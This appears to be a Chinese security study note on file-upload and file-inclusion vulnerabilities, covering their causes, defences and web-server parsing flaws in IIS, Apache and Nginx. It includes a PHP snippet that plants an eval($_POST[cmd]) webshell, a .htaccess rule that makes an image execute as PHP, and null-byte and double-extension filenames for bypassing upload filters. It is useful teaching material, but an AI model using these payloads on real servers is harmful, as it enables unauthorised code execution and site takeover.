天天看點

Web安全漏洞——檔案上傳(fileupload)

1.原理

檔案上傳漏洞是指使用者上傳了一個可執行腳本檔案,并通過此檔案獲得了執行伺服器端指令的能力。要完成這個攻擊,要滿足一下幾個條件:

  1. 上傳的檔案能夠被Web容器解釋執行,是以檔案上傳後所在的目錄要是Web容器所覆寫到的路徑。
  2. 使用者能夠從Web上通路這個檔案。
  3. 使用者上傳的檔案如果被安全檢查、格式化、圖檔壓縮等功能改變了内容,則可能導緻攻擊不成功

檔案包含漏洞(file include)(有次面試問我檔案包含,我回答的檔案上傳…)

嚴格來說,檔案包含是代碼注入的一種。代碼注入就是注入一段使用者能控制的腳本代碼,并讓伺服器端執行。“代碼注入”的典型代表就是檔案包含。檔案包含可能會出現在jsp、php、asp語言中。php常用的四種四種檔案包含函數:include()、requrie()、include_once()、requrie_once()。使用這些函數包含一個檔案時,php核心并不會在意該被包含的檔案是什麼類型,該檔案将作為php代碼執行。可分為本地檔案包含、遠端檔案包含。

2.分類

1、上傳檔案是PHP、JSP、ASP等腳本代碼,伺服器的Web容器解釋并執行了使用者上傳的腳本,導緻代碼執行;

2、上傳檔案是FLASH的政策檔案crossdomain.xml,導緻可以控制Flash在該域下的行為(其他通過類似方式控制政策檔案的情況類似);

3、上傳檔案是病毒、木馬檔案,黑客用以誘騙使用者或者管理者下載下傳執行植入到pc中。

4、上傳檔案是釣魚圖檔或為包含了腳本的圖檔,在某些版本的浏覽器中會被作為腳本執行,被用于釣魚和欺詐。

還有些不常見的用法,比如将上傳檔案作為一個入口,溢出伺服器的背景處理程式,如圖檔解析子產品;或者上傳一個合法的文本檔案,其中包含了php腳本,再通過本地檔案包含漏洞執行此腳本。

3.防禦

  1. 檔案上傳的目錄設定為不可執行
  2. 檔案類型檢查
  3. 使用随機數改寫檔案名和檔案路徑
  4. 單獨設定檔案伺服器的域名

4.Web容器檔案解析漏洞

解析漏洞主要是一些特殊檔案被Web容器在某種情況下解釋成腳本檔案格式并得以執行而産生的漏洞

常見Web容器有IIS、Nginx、Apache、Tomcat等

iis 5.x/6.0解析漏洞

iis6.0解析漏洞主要有以下三種:

1. 目錄解析漏洞 /xx.asp/xx.jpg

在網站下建立檔案夾名字為.asp、.asa的檔案夾,其目錄内的任何擴充名的檔案都被iis當做asp檔案來解析并執行。是以隻要攻擊者可以通過該漏洞直接上傳圖檔馬,并且可以不需要改字尾名!

2. 檔案解析 xx.asp;.jpg

在iis6.0下,分号後面的不被解析,是以xx.asp;.jpg被解析為asp腳本得以執行。

3. 檔案類型解析 asa/cer/cdx

iis6.0 預設的可執行檔案除了asp還包含這三種asa、cer、cdx。

Apache解析漏洞

Apache對檔案的解析主要是從右到左開始判斷并進行解析,如果判斷為不能解析的類型,則繼續向左進行解析,如xx.php.wer.xxxxx将被解析為PHP類型。

IIS 7.0/ Nginx <8.03畸形解析漏洞

在預設Fast-CGI開啟狀況下上傳名字為xx.jpg,内容為:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>’);?>

然後通路xx.jpg/.php,在這個目錄下就會生成一句話木馬shell.php。

Nginx<8.03空位元組代碼執行漏洞

nginx如下版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37在使用PHP-FastCGI執行php的時候,URL裡面在遇到%00空位元組時與FastCGI處理不一緻,導緻可以在圖檔中嵌入PHP代碼然後通過通路xxx.jpg%00.php來執行其中的代碼。

另一種Nginx檔案漏洞是從左到右進行解析,既可繞過對字尾名的限制,又可上傳木馬檔案,是以可以上傳XXX.jpg.php(可能是運氣,也可能是代碼本身問題,但在其他都不能成功的條件下可以試試)。如下:

Content-Disposition: form-data; name=“userfiles”; filename=“XXX.jpg.php”

htaccess檔案解析

如果Apache中.htaccess可被執行并可被上傳,那麼可以嘗試在.htaccess中寫入:

<FilesMatch “shell.jpg”>

SetHandler application/x-httpd-php<//FilesMatch>

然後再上傳shell.jpg的木馬,這樣shell.jpg就可被解析為PHP檔案了。

作業系統特性解析

由于windows會将檔案的字尾中的空格以及點進行過濾,如果遇到是黑名單校驗的,如限制不允許上傳PHP檔案,而系統又是windows系統,那麼我們可以上傳xx.php ,或者xx.php.,通過這種方式就可以繞過黑名單檢驗的檔案上傳!

繼續閱讀